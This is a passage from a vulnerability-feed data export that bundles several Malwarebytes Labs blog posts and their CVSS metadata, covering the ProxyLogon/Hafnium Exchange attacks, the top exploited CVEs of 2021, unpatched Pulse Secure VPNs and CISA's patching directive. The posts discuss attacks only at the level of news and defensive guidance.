exploits, prioritizing the externally facing Exchange servers.\n\nMicrosoft also advises that the initial stage of the attack can be stopped by "restricting untrusted connections, or by setting up a VPN to separate the Exchange server from external access", although the other parts of the attack chain can still be exploited, if other means of access are used.\n\n### Update March 4, 2021\n\nThe Cybersecurity and Infrastructure Security Agency issued an [emergency directive](<https://cyber.dhs.gov/ed/21-02/>) after CISA partners observed active exploitation of vulnerabilities in Microsoft Exchange _on-premises_ products. The directive gives detailed instructions for agencies to follow immediately after identifying all instances of on-premises Microsoft Exchange Servers in their environment.\n\nFor readers that are interested in the more technical details of the attack chain, [Veloxity published a blog](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) that provides details about their investigation, the vulnerabilities, and which also includes IOCs.\n\n### Update March 5, 2021\n\nIt turns out that [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) was discovered in December of 2020 by DEVCORE who named the vulnerability ProxyLogon. They called it [ProxyLogon](<https://proxylogon.com/>) because this bug exploits against the Exchange **Proxy** Architecture and **Logon** mechanism. After DEVCORE chained the bugs together to a workable pre-auth RCE exploit, they sent an advisory and exploit to Microsoft through the MSRC portal. The entire timeline can be found [here](<https://proxylogon.com/#timeline>).\n\n### Update March 8, 2021\n\nMicrosoft has released an [updated script that scans Exchange log files](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) for indicators of compromise (IOCs) associated with the vulnerabilities disclosed on March 2, 2021. The US Cybersecurity & Infrastructure Security Agency (CISA) has [issued a warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/06/microsoft-ioc-detection-tool-exchange-server-vulnerabilities>) that it is aware of widespread domestic and international exploitation of these vulnerabilities and strongly recommends organizations run the script as soon as possible.\n\nMicrosoft has also added definitions to its standalone malware scanner, the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) (also known as the Microsoft Support Emergency Response Tool or MSERT), so that it detects web shells.\n\nMalwarebytes detects web shells planted on comprised Exchange servers as [Backdoor.Hafnium](<https://blog.malwarebytes.com/detections/backdoor-hafnium/>). You can read more about the use of web shells in Exchange server attacks in our article [Microsoft Exchange attacks cause panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>).\n\n### Update March 12, 2021\n\nThe abuse of these vulnerabilities has sky-rocketed, and the first public proof-of-concept (PoC) exploit for the ProxyLogon flaws has appeared on GitHub, only to be taken down by the site. In spite of Microsoft's efforts, cybercriminals have shown in numbers that they are exploiting this opportunity to the fullest.\n\nA new form of ransomware has also entered the mix. Detections for DearCry, a new form of human-operated ransomware that's deployed through compromised Exchange servers, began yesterday. When the ransomware was still unknown, it would have been detected by Malwarebytes proactively, as Malware.Ransom.Agent.Generic. \n\nYou can read more about DearCry ransomware attacks in our article [Ransomware is targeting vulnerable Microsoft Exchange servers](<https://blog.malwarebytes.com/ransomware/2021/03/ransomware-is-targeting-vulnerable-microsoft-exchange-servers/>).\n\n### Update March 16, 2021\n\nMicrosoft has released a new, one-click mitigation tool for Exchange Server deployments. The Microsoft Exchange On-Premises Mitigation Tool will help customers who do not have dedicated security or IT teams to apply these security updates. This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.\n\nDetails, a [download link](<https://aka.ms/eomt>), user instructions, and more information can be found in the [Microsoft Security Response Center](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>). \n\nWe will keep you posted as we gather more information about these ransomware attacks.\n\nStay safe, everyone!\n\nThe post [Patch now! Exchange servers attacked by Hafnium zero-days](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-03T12:34:27", "type": "malwarebytes", "title": "Patch now! Exchange servers attacked by Hafnium zero-days", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T12:34:27", "id": "MALWAREBYTES:B4D157FAC0EB655355514D120382CC56", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-04-29T18:23:40", "description": "A joint Cybersecurity Advisory, coauthored by cybersecurity authorities of the United States (CISA, NSA, and FBI), Australia (ACSC), Canada (CCCS), New Zealand (NZ NCSC), and the United Kingdom (NCSC-UK) has detailed the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). These are the CVEs that made it into the top 10.\n\n## 1\\. Log4Shell\n\n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>), commonly referred to as [Log4Shell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/>) or Logjam. This was a software flaw in the Apache Log4j logging utility. A logger is a piece of software that logs every event that happens in a computer system. The records it produces are useful for IT and security folks to trace errors or check any abnormal behavior within a system.\n\nWhen Log4Shell emerged in December 2021, what caught many by surprise was the enormous number of applications and web services, including those offered by Twitter, Apple, Google, Amazon, Steam, and Microsoft, among others, that were relying on Log4j, many of which inherited the vulnerability.\n\nThis made for an exceptionally broad attack surface. Combine that with an incredibly easy to use exploit and there should be no surprise that this vulnerability made it to the top of the list.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has launched an open source scanner to find applications that are vulnerable to the Log4j vulnerabilities listed as CVE-2021-44228 and CVE-2021-45046. The [CISA Log4j scanner](<https://github.com/cisagov/log4j-scanner>) is based on other open source tools and supports scanning lists of URLs, several fuzzing options, DNS callback, and payloads to circumvent web-application firewalls.\n\n## 2\\. CVE-2021-40539\n\n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>) is a REST API authentication bypass [vulnerability in ManageEngine\u2019s single sign-on (SSO) solution](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) with resultant remote code execution (RCE) that exists in Zoho ManageEngine ADSelfService Plus version 6113 and prior. When word of this vulnerability came out it was already clear that it was being exploited in the wild. Zoho remarked that it was noticing indications of this vulnerability being exploited. Other researchers chimed in saying the attacks had thus far been highly targeted and limited, and possibly the work of a single threat actor. It was clear from the start that [APT](<https://blog.malwarebytes.com/glossary/advanced-persistent-threat-apt/>) threat-actors were likely among those exploiting the vulnerability.\n\nThe vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request. This allows attackers to carry out subsequent attacks resulting in RCE.\n\nFor those that have never heard of this software, it\u2019s a self-service password management and single sign-on (SSO) solution for Active Directory (AD) and cloud apps. Which means that any attacker that is able to exploit this vulnerability immediately has access to some of the most critical parts of a corporate network. A patch for this vulnerability was made available on September 7, 2021. Users were advised to update to ADSelfService Plus build 6114. The FBI, CISA, and CGCYBER also strongly urged organizations to make sure that ADSelfService Plus was not directly accessible from the Internet.\n\nThe [ManageEngine site](<https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html>) has specific instructions on how to identify and update vulnerable installations.\n\n## 3\\. ProxyShell\n\nThird on the list are 3 vulnerabilities that we commonly grouped together and referred to as [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>), [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>), and [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>).\n\nThe danger lies in the fact that these three vulnerabilities can be chained together to allow a remote attacker to run code on an unpatched Microsoft Exchange server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34473, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\nThe vulnerabilities were found in Microsoft Exchange Server, which has a large userbase and which is usually set up as an Internet-facing instance. Plus, many publications have provided proof-of-concept (PoC) methodologies which anyone can copy and use.\n\nMicrosoft\u2019s Security Update from May 2021 remediates all three ProxyShell vulnerabilities.\n\n## 4\\. ProxyLogon\n\nAfter the ProxyShell entries we go straight to four vulnerabilities that are grouped under a similar name\u2014[ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>)\u2014for similar reasons. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-2685](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) all share the same description\u2014"This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443."\n\nWhile the CVE description is the same for the 4 CVE\u2019s we have learned that CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange that was used to steal mailbox content. The RCE vulnerability CVE-2021-26857 was used to run code under the System account. The other two zero-day flaws\u2014CVE-2021-26858 and CVE-2021-27065\u2014would allow an attacker to write a file to any part of the server.\n\nTogether these four vulnerabilities form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, threat actors deployed web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nProxyLogon started out as a limited and targeted attack method attributed to a group called [Hafnium](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Unfortunately it went from limited and targeted attacks to a full-size panic in no time. Attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nMicrosoft has released a one-click mitigation tool for Exchange Server deployments. The Microsoft Exchange On-Premises Mitigation Tool will help customers who do not have dedicated security or IT teams to apply these security updates. Details, a [download link](<https://aka.ms/eomt>), user instructions, and more information can be found in the [Microsoft Security Response Center](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\n## 5\\. CVE-2021-26084\n\n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>) is an Object-Graph Navigation Language (OGNL) injection vulnerability that exists in some versions of [Confluence Server and Data Center](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) that can allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. This was a zero-day vulnerability that was only patched after it was found to be actively exploited in the wild. An attacker could exploit the vulnerability by simply sending a specially crafted HTTP request containing a malicious parameter to a vulnerable install.\n\nShortly after the vulnerability was disclosed and a patch came out, researchers noticed massive scanning activity for vulnerable instances and crypto-miners started to use the vulnerability to run their code on unpatched servers.\n\nOn the [Confluence Support website](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) you can find a list of affected versions, instructions to upgrade, and a workaround for those that are unable to upgrade.\n\n## Lessons learned\n\nWhat does this list tell us to look out for in 2022?\n\nWell, first off, if you haven\u2019t patched one of the above we would urgently advise you to do so. And it wouldn\u2019t hurt to continue working down the [list](<https://www.cisa.gov/uscert/ncas/alerts/aa22-117a>) provided by CISA.\n\nSecond, you may have noticed a pattern in what made these vulnerabilities so popular to exploit:\n\n * **A large attack surface**. Popular and widely used software makes for a larger number of potential victims. The money is in the numbers.\n * **Internet-facing instances**. Remember, your Internet-connected software shares the Internet with every basement-dwelling criminal hacker in the world.\n * **Easy exploitability**. When vulnerabilities are easy to exploit, and PoCs are publicly available and easy to deploy, the number of potential threat actors goes up.\n\nSo, if you notice or hear about a vulnerability that meets these "requirements" move it to the top of your "to-patch" list.\n\nStay safe, everyone!\n\nThe post [The top 5 most routinely exploited vulnerabilities of 2021](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-29T16:28:20", "type": "malwarebytes", "title": "The top 5 most routinely exploited vulnerabilities of 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2021-2685", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2021-45046"], "modified": "2022-04-29T16:28:20", "id": "MALWAREBYTES:B8C767042833344389F6158273089954", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-10-18T17:31:38", "description": "In April 2019, Pulse Secure published an advisory about a vulnerability in their software. In August, cybercriminals were massively scanning for systems that were running a vulnerable version. Now it\u2019s October, and still many organizations have not applied the patches that are available for this vulnerability. \n\nThis is a trend we've seen repeated with dozens of other publicly-known vulnerabilities and organizations that are slow to update software to the latest, most secure versions. \n\nWith so many organizations falling victim to cyberattack via exploited vulnerability, we have to ask: Why aren't people patching?\n\n### What are the vulnerabilities?\n\nReading the above, you might suspect that the vulnerabilities were not serious or hard to exploit. But that's not the impression we get from the Pulse Secure advisory. It states:\n\n> \u201cMultiple vulnerabilities were discovered and have been resolved in Pulse Connect Secure (PCS) and Pulse Policy Secure (PPS). This includes an authentication by-pass vulnerability that can allow an unauthenticated user to perform a remote arbitrary file access on the Pulse Connect Secure gateway. This advisory also includes a remote code execution vulnerability that can allow an authenticated administrator to perform remote code execution on Pulse Connect Secure and Pulse Policy Secure gateways.\u201d\n\nPulse Connect Secure is a VPN solution for organizations and offers remote users a secure connection to the corporate network so they can remotely log in and work. Pulse Policy Secure is a well-known Network Access Control solution, which does not only control who can connect but also assigns the appropriate permissions.\n\nWhen it comes to software like this, an authentication by-pass vulnerability is a serious problem. Any criminal with the proper knowledge can pretend to be an employee and access company resources. In this case, https access and the use of an especially-prepared URL would be enough to read an arbitrary file on a vulnerable system.\n\nNeedless to say, that is a serious problem\u2014and we haven\u2019t even touched on the remote code execution possibility. Every hacker's dream is to be able to run their code on your system. That gives them a foothold within your network from which they can expand their activities. They can plant ransomware or whatever else they fancy.\n\n### Where would they get the necessary knowledge\n\nBy design, many cybercriminals are opportunistic, and they will jump at any easy copy-and-paste job that renders enough cash. So, when the vulnerability was discussed elaborately at Black Hat in early August, the method to exploit the vulnerability became general knowledge. \n\nSince using this method hardly requires expert knowledge, researchers soon noticed a lot of scanning activity by cybercriminals looking for vulnerable systems. The vulnerability in Pulse Secure was presented along with a [few vulnerabilities in other SSL VPN products](<https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545>). Shortly after, an exploit for this vulnerability was published on GitHub, so every copycat could have it handy.\n\n### Unpatched\n\nOn Saturday, August 24, 2019, scans performed by [Bad Packets](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) found a total of 14,528 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510. Over 5,000 of those were in the US, including military, federal, state, and local government agencies. \n\nA week later, 10,471 Pulse Secure VPN servers worldwide remained vulnerable to compromise. On Monday, September 16, 2019, there were still 7,712 left to be patched. On Monday, October 7, 2019, a surprising 6,018 remained, with a lot of active scanning going on\u2014and this was after advisories have been issued by the NSA and the NCSC.\n\n### Responsibility\n\nA basic question in cases like these is: Who is responsible for applying patches? Without doubt, we expect a vendor to develop a patch as soon as the vulnerability is made known to them, but what happens after that? \n\nIndustry leaders have long warned that vulnerability remediation and effective patch management are essential to keep organizations safe from cyberattacks. But there are a few essential steps in the delivery chain after the patch is released:\n\n * Customers need to be made aware of the patch and the required urgency.\n * Security providers or resellers need to make sure their customers are aware of the existence of the patch and the possible consequences of not applying it.\n * Organizations need to have a department or external provider that is responsible for keeping the security software updated. Spending money on top-notch software and then leaving it unattended is a sure waste of money. Keeping software in shape is not limited to applying patches, but security patches can sometimes be more important than fetching the latest rules update.\n\nThe natural next question, then, is why aren't organizations applying patches as soon as they know about them? \n\n* * *\n\n_Recommended reading: _[Tackling the shortage in skilled IT staff: whole team security](<https://blog.malwarebytes.com/security-world/business-security-world/2019/02/tackling-the-shortage-in-skilled-it-staff-whole-team-security/>)\n\n* * *\n\n### So, what\u2019s stopping them from applying the patch?\n\nAssuming that an organization's IT or security team is aware of the patch, possible reasons for holding off might be fear of disrupted processes or a possible disagreement on what they might regard as critical. But the possible consequences of an unpatched critical vulnerability should heavily outweigh those concerns. \n\nThere could be several other reasons for not applying patches as soon as they are available:\n\n * Understaffed IT and security teams \n * Looking into the consequences first, which could slow down the process due to lack of feedback\n * Waiting for others to share their experiences before applying patches \n * Unaware of the patch's existence, sometimes as a result of not having time to follow up on emails and warning signs\n * Lack of a point of contact. Whose problem is it? And whose job is to solve it?\n\nAs you can see, most of these can be traced back to a lack of staff and time, and sometimes funding is responsible for those two shortages. But sometimes understaffing is because of [other reasons.](<https://blog.malwarebytes.com/security-world/2018/06/whats-causing-the-cybersecurity-skills-gap/>) And once you are understaffed, the lack of time to follow up on problems comes as a logical consequence.\n\n### The Pulse vulnerability is not alone\n\nIt\u2019s not like the Pulse vulnerability is the only VPN-related vulnerability out there (or any software vulnerability, for that matter). Similar problems are known to exist in products from Fortinet and Palo Alto. \n\nIn an [advisory](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>) from the National Cyber Security Center (NCSC) in the UK, users of the affected VPN products can find specified log entries to look for signs of a compromise or attempt to compromise. They also emphasize the need for patching: \n\n> \u201cSecurity patches should always be applied promptly. More guidance is available on the NCSC website. The NCSC acknowledges that patching is not always straightforward and in some cases can cause business disruption, but it remains the single most important step an organisation or individual can take to protect itself.\u201d\n\nSo, the question remains: If organizations are aware of the patch and have the staff resources to apply it, why are so many dragging their feet? Maybe some of our readers can shed some light on this mystery. Feel free to share your personal experiences in the comments. \n\nThe post [Pulse VPN patched their vulnerability, but businesses are trailing behind](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-10-18T16:36:36", "type": "malwarebytes", "title": "Pulse VPN patched their vulnerability, but businesses are trailing behind", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-10-18T16:36:36", "id": "MALWAREBYTES:5B32671B820EEB03840B798BCEA9FDC8", "href": "https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-04T22:43:41", "description": "The Cybersecurity and Infrastructure Security Agency (CISA) has issued binding directive 22-01 titled [Reducing the Significant Risk of Known Exploited Vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities>). This directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third-parties on an agency\u2019s behalf.\n\nOne of the most welcomed of the required actions set forth in the directive is that CISA will keep a [catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) of vulnerabilities alongside timeframes in which they must be remediated. According to the plan, this catalog will list only the most important vulnerabilities that have proven to pose the biggest risks.\n\n### The scope\n\nIn the US, a binding operational directive is an instruction that federal, executive branch, departments and agencies have to follow. They also provide a strong indication of the kind of cybersecurity measures that CISA thinks are important, which other organizations may wish to follow. (It's also easy to imagine that what's required of federal agencies today may be required of the vast web of suppliers to federal agencies tomorrow.)\n\nTo that end, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments review and monitor its catalog. CISA has done the hard work of identifying what should be patched first, and anyone who follows its guidance is likely to find their security and resilience posture improved.\n\n### The reason\n\nIt will come as no surprise that the continued cyberattacks against US entities are the reason for this directive: "The United States faces persistent and increasingly sophisticated malicious cyber campaigns that threaten the public sector, the private sector, and ultimately the American people\u2019s security and privacy.\u201d\n\nMany of the attacks against US organizations rely on vulnerabilities that could have been patched months or even years ago, but haven't been. For example, earlier this year CISA issued a joint advisory with the FBI and NSA urging US organizations to patch [five old vulnerabilities](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities/>) from 2018 and 2019 that were regularly exploited by the Russian Foreign Intelligence Service.\n\nThe idea is that better patch management, supported by the prioritization provided by the CISA catalog, can prevent future attacks.\n\n### The rules\n\nThe required actions are pretty simple and straightforward\u2014to read at least. Execution of the rules may prove to be more difficult. The rules are:\n\n * **Plan**. Organizations have 60 days to come up with a vulnerability management plan.\n * **Execute**. CISA is giving notice that the clock is running on vulnerabilities it cares about. The affected departments and agencies have six months to fix anything with a CVE issued before 2021, and two weeks to fix everything else.\n * **Report**. Organizations have to report on the status of vulnerabilities through the Continuous Diagnostics and Mitigation (CDM) Federal Dashboard.\n\nWhile 6 months may seem a long time for the CVE\u2019s prior to 2021, that doesn\u2019t mean they are less important than this year's vulnerabilities. The grace period may reflect the difficulty that organizations have already had in fixing older bugs, or the fact that "everything prior to 2021" is just a much longer period of time than the ten months of 2021. After six months is up and all those vulnerabilities are fixed, presumably everyone will be on a much shorter lease, with just two weeks to fix anything CISA deems serious enough to put on its list.\n\nIn some cases the catalog already lists a vulnerability with a due date in the past, such as [CVE-2019-11510](<https://blog.malwarebytes.com/business-2/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind/>). In August, 2019, scans performed by Bad Packets found a total of 14,528 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510, four months after a patch became avaiable. Over 5,000 of those were in the US, including military, federal, state, and local government agencies\u2014and this was after advisories have been issued by the NSA and the NCSC.\n\nThe notes column for this CVE references [CISA's ED 21-03](<https://cyber.dhs.gov/ed/21-03/>) for further guidance and requirements. In that Emergency Directive you will find the due date of April 23rd of 2021. So, it was already required to be patched for organizations that are bound to follow emergency directives.\n\n### Patch management\n\nBecause patch management has proven to be a challenge, having a catalog to fall back on when you are looking for prioritization rules can be very helpful. On the other hand, by telling organizations what needs to be done, inadvertently they may skip necessary patches, simply because they were not listed. Or worse, they were listed but the people responsible for patching didn\u2019t find them.\n\nEither way, if this is a first step in setting up a compliance program, where all the vulnerabilities that are used in the wild get patched within two weeks we will certainly welcome it. We have seen the impact of, for example, the [disclosure rules](<https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html>) set forth by Google\u2019s Project Zero on the generally accepted rules for [responsible](<https://en.wikipedia.org/wiki/Responsible_disclosure>)[ disclosure](<https://en.wikipedia.org/wiki/Responsible_disclosure>), and would love to see this directive have a similar effect on the average patching speed.\n\nStay safe, everyone!\n\nThe post [CISA sets two week window for patching serious vulnerabilities](<https://blog.malwarebytes.com/reports/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-04T21:23:02", "type": "malwarebytes", "title": "CISA sets two week window for patching serious vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-11-04T21:23:02", "id": "MALWAREBYTES:6ECB9DE9A2D8D714DB50F19BAF7BF3D4", "href": "https://blog.malwarebytes.com/reports/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-13T14:27:03", "description": "Only last week we posted a blog about [multiple zero-day exploits](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. Seeing how this disclosure came with a patch being available, under normal circumstances you would see some companies update quickly and others would dally until it bubbled up to the top of their to-do list.\n\nThis attack method, called ProxyLogon and attributed to a group called Hafnium, was different. It went from \u201climited and targeted attacks\u201d to a full-size panic in no time. Attackers are using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\n### How did this situation evolve? A timeline\n\nTo demonstrate how this situation came about we want to show you this timeline of developments:\n\n * December 2020, [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) is discovered by DEVCORE, who named the vulnerability ProxyLogon.\n * January 2021, DEVCORE send an advisory and exploit to Microsoft through the MSRC portal.\n * January 2021, [Volexity](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) and [Dubex](<https://www.dubex.dk/aktuelt/nyheder/please-leave-an-exploit-after-the-beep>) start to see 